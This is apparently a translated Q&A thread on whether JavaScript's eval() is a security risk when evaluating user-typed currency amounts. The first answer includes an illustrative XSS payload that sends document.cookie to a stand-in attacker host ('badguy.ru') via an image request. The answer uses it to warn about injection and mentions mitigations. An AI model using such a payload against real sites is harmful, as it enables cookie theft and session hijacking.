Javascript eval()是如此危险吗?

时间:2012-10-31 21:04:46

标签: javascript security eval

  

可能重复:
  When is JavaScript’s eval() not evil?

我正在编写一个用户必须以货币金额书写的脚本,一些示例可能是(用户输入>>转换为),美元为默认货币:

50       >> 50.0 USD
50.5     >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP   >> 50.0 GBP

我想让它尽可能顺利,因此我想使用JavaScript(它是一个基于PHP / MySql + JavaScript的Web应用程序)。我想使用正则表达式来过滤输入,通过eval()运行它并返回它。

这是个坏主意吗?我已经阅读了一些关于eval()是安全问题的主题。我只是不知道如何。用户可以轻松地运行JavaScript吗?

请记住,我将在稍后阶段使用PHP验证所有输入服务器端。

2 个答案:

答案 0 :(得分:11)

你是对的,终端用户无论如何都可以通过浏览器的开发者控制台轻松执行任意JavaScript(我一直这样做)。您需要担心的是攻击者劫持您的功能,使用eval为他自己的目的。

eval通常被认为是危险的原因是因为非常很容易让不受信任的代码潜入。考虑一个允许您通过查询字符串指定输入的页面,其中输入框预先填充查询字符串中的值。

攻击者可以传播包含窃取用户登录cookie的代码的链接:

/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;

(显然需要正确的URL编码;这只是为了说明。)

或者,也许您的PHP脚本回声在验证失败时将数据发布回表单。攻击者可以创建一个特制的表单,使用相同的cookie窃取代码发布到您的表单。

通过使用httpOnly cookie(以防止被盗登录cookie)或确保数据被清理,可以减轻这些攻击中的每一种 - 但重点是,这甚至都不是详尽的事情列表可能会出错。例如,注入的脚本仍然可以在金额字段中插入1000并尝试将该金额转移到攻击者的帐户(如果这是汇款页面)。

即使您正在使用正则表达式来清理输入并不一定能保护您:可以编写任意JavaScript entirely with brackets

所以最重要的是,如果你能够完全确定,输入进入你的文本字段的唯一方法是通过用户输入,你很好:用户没有获得他们通过控制台无法做到的任何事情。但是,如果攻击者能以某种方式将自己的数据放入该字段,eval可能会使您暴露于漏洞。

另见:

答案 1 :(得分:10)

如果您需要,请使用它。

这是一个很好的链接,它讨论了安全性......以及对“eval()”的其他常见异议:

        

安全性怎么样?如果你的软件正在提供eval   它的论点就是在这方面很少有人担心。当然,它   评估输入框的值是不明智的,但运行eval   通过您自己的服务器代码生成的响应应该不存在   特殊风险。还要记住,攻击者没有受到伤害   可以做客户端评估,他们无法轻松实现   使用现代浏览器控制台。

恕我直言......